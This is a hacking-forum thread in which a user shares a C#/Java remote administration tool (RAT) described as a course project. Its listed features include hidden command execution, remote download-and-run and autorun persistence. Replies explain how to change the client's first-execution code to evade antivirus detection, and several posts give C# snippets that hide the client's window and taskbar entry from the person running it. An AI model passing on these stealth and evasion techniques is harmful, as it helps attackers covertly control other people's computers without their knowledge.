

Forum:[Hack Forums](#)

Thread: [Multi-platform Remote Administration Tool Framework](#)

gotoel - June 23, 2016, 9:42 am

[GITHUB LINK](#)

[SOURCE DOWNLOAD LINK](#)

Hey guys,

Just wanted to share the source code of my Computer Security course project. It could be of use for people trying to write their own or want to see how they work. It's also commented per the project requirement.

There's probably tons of RAT sources, thought I'd throw mine into the mix in case people want some of what it has to offer.

Here's some screen shots (taken at different versions):

Spoiler ([Click to View](#))

Info about it:

- Uses TCP for connection, can transfer string and binary data
- Developed in C# .NET and Java
- Server required .NET 4.5, Client requires .NET 2.0 or Java
- Multi-threaded (multiple listener support)
- Installs into Application Data and generates a autorun registry key.
- Client bin size is around 30KB.
- SSL encrypted traffic (kind of buggy, an extra byte gets sent after every message?)
- It does not have a builder, since this was meant to be a private and not a public use RAT, but one could be implemented.
- It has a performance monitor that was implemented to monitor stability (which is actually pretty good)
- Also a console that can print plaintext inbound/outbound traffic.
- The Java client is very basic and only shows system information, but has been tested on Linux.

Current features (though it's more of a framework instead of a feature-packed RAT):

Remote Desktop Multiple monitor support
Configurable image quality Mouse/Keyboard control

Remote Clipboard
Set/View clipboard contents

Remote Command Prompt Send commands to hidden command prompt
View all output

Remote Download Run hidden/visible

Window Manager
Info of the window handle/title/path/visibility Control state of windows (minimize, maximize, hide, etc)

Piano
Play sick tunez using console beeps

*** I will not offer support for this project, but can answer questions about the code if time permits.

Extra:
Spoiler ([Click to View](#)) I actually got the highest score (we were scored by our peers) in both of the offered course sections with this RAT:

ubbelol - June 23, 2016, 10:03 am

You should probably work on better OOP structure. It'd make things a lot easier to work with.

gotoel - June 23, 2016, 10:15 am

(Jun 23, 2016 10:03 AM)ubbelol Wrote: [\[CITE\]](#) You should probably work on better OOP structure. It'd make things a lot easier to work with.

Yeah, this wasn't going to be that large scale of a project, but it definitely would have helped slim down the NetworkManager and Zombie classes and would have made expansion easier. I didn't do much planning before beginning development since we only had a couple of weeks to do it.

PavilionVI - June 23, 2016, 8:19 pm

This looks nice although I'm not really fond of RATs, however, I'm more interested in the cross-platform mechanism, as far as I know the executable extension is not supported on Mac and Linux so how does this work?

As for your client, was the form really necessary? You could've used the Program class instead with the Main() void as an entry point.

gotoel - June 23, 2016, 9:36 pm

(Jun 23, 2016 08:19 PM)PavilionVI Wrote: [\[CITE\]](#) This looks nice although I'm not really fond of RATs, however, I'm more interested in the cross-platform mechanism, as far as I know the executable extension is not supported on Mac and Linux so how does this work?

As for your client, was the form really necessary? You could've used the Program class instead with the Main() void as an entry point.

There are two client projects. One in C# and one in Java. The Java one uses a library that gathers appropriate info from any OS.

No, the client did not need to be done in a form. But it was done for a project and help visualize

traffic going back and forth during the demonstration. The form can also be set to not appear, so there's no problem there.

C# client on my PC and Java client executed on my server (since this pic I have added gathering CPU info as well):

32x0LF - June 23, 2016, 10:31 pm

Great work and effort to do this man. I am new to RAT and I haven't use any of it but loved to try this one and learn how rat is being made.. does it need cryptography?

thanks

gotoel - June 23, 2016, 11:28 pm

(Jun 23, 2016 10:31 PM)32x0LF Wrote: [\[CITE\]](#) Great work and effort to do this man. I am new to RAT and I haven't use any of it but loved to try this one and learn how rat is being made.. does it need cryptography?

thanks

Thanks!

The C# client will require cryptography. It was completely undetected when I finished writing it, and with a bit of changes to the code you can even get it back to a fairly undetected status without the use of encryption software.

For example, the client's FirstExecution method in the SystemUtils class causes most of the detections, change around a few things in there and you can get rid of a couple. The Java client isn't detected (last time I checked) so that could be an option. But it's not as developed as the C# one.

unSatisfied - June 24, 2016, 11:32 am

You should really look into properties, it would make your life much easier:

<https://msdn.microsoft.com/en-us/library/x9fsa0sw.aspx>

<http://www.dotnetperls.com/property>

gotoel - June 24, 2016, 12:03 pm

(Jun 24, 2016 11:32 AM)unSatisfied Wrote: [\[CITE\]](#) You should really look into properties, it would make your life much easier:

<https://msdn.microsoft.com/en-us/library/x9fsa0sw.aspx>

<http://www.dotnetperls.com/property>

Yeah, I've known about properties and have used them in some of my other projects but haven't looked into them enough to really find a correct way of using them. Thanks for the suggestion.

32x0LF - June 25, 2016, 7:29 am

Hi I tried to modify the code in the Program.cs on Client side in order the form will not appear when the user tried to run the app.

original code

```
Code static void Main()
```

```
{
```

```
    Application.EnableVisualStyles();
```

```
    Application.SetCompatibleTextRenderingDefault(false);
```

```
Application.Run(new ClientMainForm());  
}
```

and change into

```
Code static void Main()  
{  
    Application.EnableVisualStyles();  
    Application.SetCompatibleTextRenderingDefault(false);  
    ClientMainForm f = new ClientMainForm();  
    Application.Run();  
}
```

after changing I can see it on the user taskbar process runs. but on the server it did not appear like connected.

is this the right way to set the form not to appear? or am I missing something?

gotoel - June 25, 2016, 9:07 am

(Jun 25, 2016 07:29 AM)32x0LF Wrote: [\[CITE\]](#) Hi I tried to modify the code in the Program.cs on Client side in order the form will not appear when the user tried to run the app.

original code

```
Code static void Main()  
{  
    Application.EnableVisualStyles();  
    Application.SetCompatibleTextRenderingDefault(false);  
    Application.Run(new ClientMainForm());  
}
```

and change into

```
Code static void Main()  
{  
    Application.EnableVisualStyles();  
    Application.SetCompatibleTextRenderingDefault(false);  
    ClientMainForm f = new ClientMainForm();  
    Application.Run();  
}
```

after changing I can see it on the user taskbar process runs. but on the server it did not appear like connected.

is this the right way to set the form not to appear? or am I missing something?

Try this:

```
Code Application.EnableVisualStyles();  
Application.SetCompatibleTextRenderingDefault(false);  
ClientMainForm f = new ClientMainForm();  
f.WindowState = FormWindowState.Minimized;  
f.ShowInTaskbar = false;  
Application.Run(f);
```

PavilionVI - June 25, 2016, 2:08 pm

(Jun 25, 2016 07:29 AM)32x0LF Wrote: [\[CITE\]](#) Hi I tried to modify the code in the Program.cs on Client side in order the form will not appear when the user tried to run the app.

original code

```
Code static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    Application.Run(new ClientMainForm());
}
```

and change into

```
Code static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    ClientMainForm f = new ClientMainForm();
    Application.Run();
}
```

after changing I can see it on the user taskbar process runs. but on the server it did not appear like connected.

is this the right way to set the form not to appear? or am I missing something?

Everything that's in ClientMainForm.cs (variables, voids, functions..etc) should be put on Program.cs and the Main() void will replace Form1_Load()
so you will have something like this

```
Code [STAThread]
static void Main()
{
    if (install && !SystemUtils.FirstExecution())
    {
        connection = new NetworkManager(this, serverIP, serverPort);
        Thread networkThread = new Thread(new ThreadStart(connection.Start));
        networkThread.SetApartmentState(ApartmentState.STA);
        networkThread.Start();
    }
    else
    {
        Environment.Exit(0);
    }
}
```

32x0LF - June 28, 2016, 9:02 am

Thanks OP and pavilion..Btw, whats the difference in setting properties of the form to opacity to 0, icon to false and taskbar to false? This method works also.

eric2221 - June 28, 2016, 9:51 am

Great work and effort to do this man.

mrdrar1us - August 15, 2016, 8:43 am

Thanks for sharing!

I have one problem with server, when compiling in visual studio.

Quote:An unhandled exception of type 'System.InvalidOperationException' occurred in System.dll

Additional information: Cannot load Counter Name data because an invalid index " was read from the registry.

How can i fix this?

Ninja - August 15, 2016, 1:35 pm

(Jun 24, 2016 12:03 PM)gotoel Wrote: [\[CITE\]](#) Yeah, I've known about properties and have used them in some of my other projects but haven't looked into them enough to really find a correct way of using them. Thanks for the suggestion.

Instead of:

Code public int port;you should use an auto property for it:

Code public int Port {get; set;}

As to why you should use them:

<http://stackoverflow.com/questions/2374416/why-use-simple-properties-instead-of-fields-in-c>

(Aug 15, 2016 08:43 AM)mrdar1us Wrote: [\[CITE\]](#) Thanks for sharing!

I have one problem with server, when compiling in visual studio.

How can i fix this?

On what line of code did this error occur? He cant tell you how to fix an error by just looking at the error description...